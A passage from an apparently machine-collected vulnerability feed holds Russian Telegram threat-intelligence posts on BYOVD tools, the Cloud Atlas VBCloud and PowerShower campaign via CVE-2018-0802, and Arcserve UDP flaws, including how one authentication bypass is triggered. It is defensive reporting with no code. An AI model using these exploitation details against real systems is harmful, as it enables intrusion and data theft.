\u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n2023 \u0433\u043e\u0434 \u0441\u0442\u0430\u043b \u0441\u0430\u043c\u044b\u043c \u0431\u043e\u0433\u0430\u0442\u044b\u043c \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c BYOVD. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430 \u043f\u0435\u0440\u0432\u0443\u044e \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0443 2024-\u0433\u043e \u0438\u0445 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0437\u0430 2021 \u0438 2022 \u0433\u043e\u0434\u044b, \u0432\u043c\u0435\u0441\u0442\u0435 \u0432\u0437\u044f\u0442\u044b\u0435. \u0412\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0440\u043e\u0441\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f.\n\n\u041d\u0430\u0433\u043b\u044f\u0434\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 \u0438 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2024 \u0433\u043e\u0434\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2024-08-22T19:40:05.000000Z"}, {"uuid": "3cf6439d-cd8e-4963-bdfe-d01d2bd66f9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "exploited", "source": "https://t.me/true_secator/6599", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0437\u0430\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u043b\u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e VBCloud \u0432 \u0430\u0440\u0441\u0435\u043d\u0430\u043b\u0435 Cloud Atlas, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432 2024 \u0433\u043e\u0434\u0443.\n\n\u0416\u0435\u0440\u0442\u0432\u044b \u0437\u0430\u0440\u0430\u0436\u0430\u043b\u0438\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b (CVE-2018-0802) \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0411\u043e\u043b\u0435\u0435 80% \u0446\u0435\u043b\u0435\u0439 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438. \u041c\u0435\u043d\u044c\u0448\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0436\u0435\u0440\u0442\u0432 \u0431\u044b\u043b\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438, \u041a\u0430\u043d\u0430\u0434\u0435, \u041c\u043e\u043b\u0434\u043e\u0432\u0435, \u0418\u0437\u0440\u0430\u0438\u043b\u0435, \u041a\u0438\u0440\u0433\u0438\u0437\u0438\u0438, \u0422\u0443\u0440\u0446\u0438\u0438 \u0438 \u0412\u044c\u0435\u0442\u043d\u0430\u043c\u0435.\n\nCloud Atlas, \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a Clean Ursa,  nception, Oxygen \u0438 Red October, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439\u00a0\u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0441 2014 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u043d\u0430 \u0420\u043e\u0441\u0441\u0438\u044e, \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u044c \u0438 \u041f\u0440\u0438\u0434\u043d\u0435\u0441\u0442\u0440\u043e\u0432\u044c\u0435, \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0431\u044d\u043a\u0434\u043e\u0440 \u043d\u0430 \u0431\u0430\u0437\u0435 PowerShell \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c PowerShower.\n\n\u041f\u043e\u043f\u0430\u0434\u0430\u043b\u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u043f\u043e\u043b\u0435 \u0437\u0440\u0435\u043d\u0438\u044f F.A.C.C.T. \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u043d\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u0442\u0430\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Office (CVE-2017-11882) \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 Visual Basic Script (VBS), \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0435\u0439 \u0437\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e VBS \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u0442\u0447\u0435\u0442\u0443 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u044d\u0442\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\u044e \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u043e\u0433\u043e VBShower, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 PowerShower, \u0430 \u0442\u0430\u043a\u0436\u0435 VBCloud.\n\n\u041d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0435 \u0432\u0440\u0435\u0434\u043e\u0441\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 RTF \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 CVE-2018-0802, \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b, \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 HTML-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (HTA), \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u0442\u043e\u043a\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 (NTFS ADS) \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 %APPDATA%\\Roaming\\Microsoft\\Windows\\, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0431\u044d\u043a\u0434\u043e\u0440 VBShower, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043b\u0430\u0443\u043d\u0447\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0430\u043a \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044f \u043c\u043e\u0434\u0443\u043b\u044c \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\u0414\u0440\u0443\u0433\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 VB - \u044d\u0442\u043e \u043e\u0447\u0438\u0441\u0442\u0438\u0442\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0432\u0441\u0435\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043f\u043a\u0438 \"\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\\", \u0432 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a \u0442\u0435\u043c, \u0447\u0442\u043e \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u0433\u043e \u0438 \u043b\u0430\u0443\u043d\u0447\u0435\u0440\u0430, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0441\u043a\u0440\u044b\u0432\u0430\u044f \u0441\u043b\u0435\u0434\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.\n\n\u0411\u044d\u043a\u0434\u043e\u0440 VBShower \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 VBS \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 C2, \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0444\u0430\u0439\u043b\u0430\u0445, \u0438\u043c\u0435\u043d\u0430\u0445 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 PowerShower \u0438 VBCloud.\n\nPowerShower \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u0435\u043d VBShower \u043f\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u043d \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u043a\u0440\u0438\u043f\u0442\u044b PowerShell \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 C2. \u041e\u043d \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u043d\u0430\u0449\u0435\u043d \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0430\u0440\u0445\u0438\u0432\u043e\u0432 ZIP.\n\nVBCloud \u0442\u0430\u043a\u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043a\u0430\u043a VBShower, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043b\u0443\u0436\u0431\u0443 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0433\u043e \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430 \u0434\u043b\u044f \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 C2. \u041e\u043d \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435\u0439 \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437, \u043a\u043e\u0433\u0434\u0430 \u0436\u0435\u0440\u0442\u0432\u0430 \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0434\u0438\u0441\u043a\u0430\u0445, \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435, \u0444\u0430\u0439\u043b\u044b \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c\u0438 DOC, DOCX, XLS, XLSX, PDF, TXT, RTF \u0438 RAR, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0430\u0439\u043b\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 Telegram.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, PowerShower \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u0435\u0442\u044c \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0441\u0442\u0432\u0443\u0435\u0442 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044e, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a VBCloud \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u043a\u0440\u0430\u0434\u0435\u0442 \u0444\u0430\u0439\u043b\u044b. \u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u044d\u0442\u0430\u043f\u043e\u0432 \u0438 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0430 \u043a\u0440\u0430\u0436\u0443 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0412\u0441\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2024-12-28T16:30:05.000000Z"}, {"uuid": "481cbc01-6003-4fa5-b3d1-34d5b9d96fd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0801", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5733", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 N-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Arcserve Unified Data Protection (UDP), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0435\u0442\u044f\u043c \u0436\u0435\u0440\u0442\u0432.\n\n\u0422\u0440\u0435\u0432\u043e\u0433\u0443 \u0437\u0430\u0431\u0438\u043b\u0438 \u0437\u0430 \u0440\u0443\u0431\u0435\u0436\u043e\u043c, \u0430 \u0442\u043e\u0447\u043d\u0435\u0435 \u0432 \u041d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u043d\u0430\u0447\u0430\u043b\u0435 \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0442\u0440\u0435\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445:\n\n- CVE-2024-0799 (9.8 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f): \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 HTTP-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 POST \u0431\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u043f\u0430\u0440\u043e\u043b\u044f \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u0443\u044e \u0442\u043e\u0447\u043a\u0443 /management/wizardLogin.\n\n- CVE-2024-0800 (\u0432\u044b\u0441\u043e\u0442\u0430 8,8): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, 